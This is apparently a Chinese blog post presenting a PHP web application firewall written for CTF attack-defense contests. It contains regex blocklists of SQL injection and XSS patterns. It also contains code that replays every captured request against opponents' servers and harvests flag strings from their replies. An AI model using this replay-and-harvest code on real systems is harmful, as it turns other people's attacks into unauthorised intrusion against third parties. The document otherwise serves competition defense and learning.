前言
没参加过CTF线下赛,用别人的waf又不了解其他人写的WAF的代码,万一出了问题也不好解决。因此昨晚连夜写了个WAF。WAF参考了360WAF的正则,对网站流量劫持并转发,cookie流量转发尚未完成。主要是使用了file_get_contents()发送POST和GET流量。如果使用注入等语句,将会对其进行拦截,本项目会劫持所有流量并以json的形式储存在waflog文件夹下(默认),项目初始化会读取waflog下的ip.txt的ip写入数组,对劫持到的所有流量原样转发至该数组下的所有ip,如果存在flag{}(根据比赛修改flag的样式)将会保存至flag.txt
测试
- 两个服务器存在相同的靶机,分别是120..\.*和本地127.0.0.1
- 本地挂上WAF
- 将远程的靶机添加到
waflog\ip.txt
,然后对本地靶机进行攻击。发现流量和flag存储在waflog
文件夹下。当然也就可以自动提交flag根据不同比赛的发送流量。 - 本地flag是
flag{abc}
而远程的flag是flag{I_wan_to_have_a_girlfriend}
- 发现flag.txt下保存了远程的flag
成品代码
<?php
error_reporting(0);
class CTF_WAF{
public $getfilter;
public $postfilter;
public $cookiefilter;
public $url;
public $dir;
public $ip;
public function __construct() {
$this->getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(&#\\d+?;?)+?>|<.*(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml|a|img)|hacker";
//post拦截规则
$this->postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)|<.*(iframe|frame|style|embed|object|frameset|meta|xml|a|img)|hacker";
//cookie拦截规则
$this->cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$this->url = 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$this->dir = __DIR__.'\\'.'waflog\\';
$this->ip = [];
$this->read_ip();
}
public function Flux($Value,$style){
switch ($style) {
case 'post':
$this->Check_Flux($Value, $this->postfilter);
if(is_array($Value)){
$Value = http_build_query($Value);
}
$this->data_to_file("{\"".$this->url."\":"."\"".$Value."\"}","post.txt",'post');
break;
case 'get':
$this->Check_Flux($Value, $this->getfilter);
if(is_array($Value)){
$Value = implode($Value);
}
$this->data_to_file($this->url."\r\n","get.txt",'get');
break;
default:
$this->Check_Flux($Value, $this->cookiefilter);
if(is_array($Value)){
$Value = http_build_query($Value);
}
$this->data_to_file("{\"".$this->url."\":"."\"".$Value."\"}","cookie.txt",'cookie');
break;
}
}
public function read_ip(){
$file = fopen($this->dir."ip.txt", "r") or exit("Unable to open file!");
while(!feof($file))
{
array_push($this->ip, fgets($file));
}
fclose($file);
}
public function Check_Flux($Value,$ArrFiltReq){
if(is_array($Value)){
$Value=implode($Value);
}
if (preg_match("/".$ArrFiltReq."/is",$Value)==1){
die();
}
}
public function Request_Post($data,$url){
if(is_array($data)){
$query = http_build_query($data); //使用给出的关联(或下标)数组生成一个经过 URL-encode 的请求字符串。
}else{
$query = $data;
}
$options['http'] = array(
'timeout'=>60,
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => $query
);//构造一个post包
$context = stream_context_create($options);//创建并返回一个资源流上下文
$result = file_get_contents($url, false, $context);
return $result;
}
public function Request_Get($url){
$result = file_get_contents($url);
//var_dump($result);
return $result;
}
public function Get_Flag($result){
if(stristr($result,'flag')){
preg_match_all('/flag{(.*?)}/', $result,$flag);
$this->data_to_file($flag[0][0]."\r\n","flag.txt",'flag');
}
}
public function data_to_file($data,$filename,$style=''){
if(is_array($data)){
$data = implode($data);
}
switch ($style) {
case 'post':
//$jsonData = json_decode('['.file_get_contents(__DIR__.'\\'.$filename).']',true);
if(!stristr(file_get_contents($this->dir.$filename),$data)){
if(file_exists($this->dir.$filename)){
file_put_contents($this->dir.$filename,",".$data,FILE_APPEND);
}else{
file_put_contents($this->dir.$filename,$data,FILE_APPEND);
}
for($i=0;$i<count($this->ip);$i++){
$this->Get_Flag($this->Request_Post(json_decode($data,true)[$this->url],'http://'.$this->ip[$i].'/'));
}
}
//var_dump($jsonData);
break;
case 'get':
$js_data = $data;
if(!stristr(file_get_contents($this->dir.$filename),str_replace('http://'.$_SERVER['HTTP_HOST'], '', $data))){
file_put_contents($this->dir.$filename, $js_data ,FILE_APPEND);
for($i=0;$i<count($this->ip);$i++){
$this->Get_Flag($this->Request_Get(str_replace("\r\n","",str_replace($_SERVER['HTTP_HOST'], $this->ip[$i], $data))));
}
}
break;
case 'cookie':
if(!stristr(file_get_contents($this->dir.$filename),$data)){
if(file_exists($this->dir.$filename)){
file_put_contents($this->dir.$filename,",".$data,FILE_APPEND);
}else{
file_put_contents($this->dir.$filename,$data,FILE_APPEND);
}
}
break;
case 'flag':
if(!stristr(file_get_contents($this->dir.$filename),$data)){
file_put_contents($this->dir.$filename,$data,FILE_APPEND);
}
break;
}
}
}
/*******************************/
/* 调用WAF */
$waf = new CTF_WAF();
if(isset($_GET)){
$waf->Flux($_GET,'get');
}
if(isset($_POST)){
$waf->Flux($_POST,'post');
}
foreach($_COOKIE as $key=>$value){
$waf->Flux($value,'cookie');
}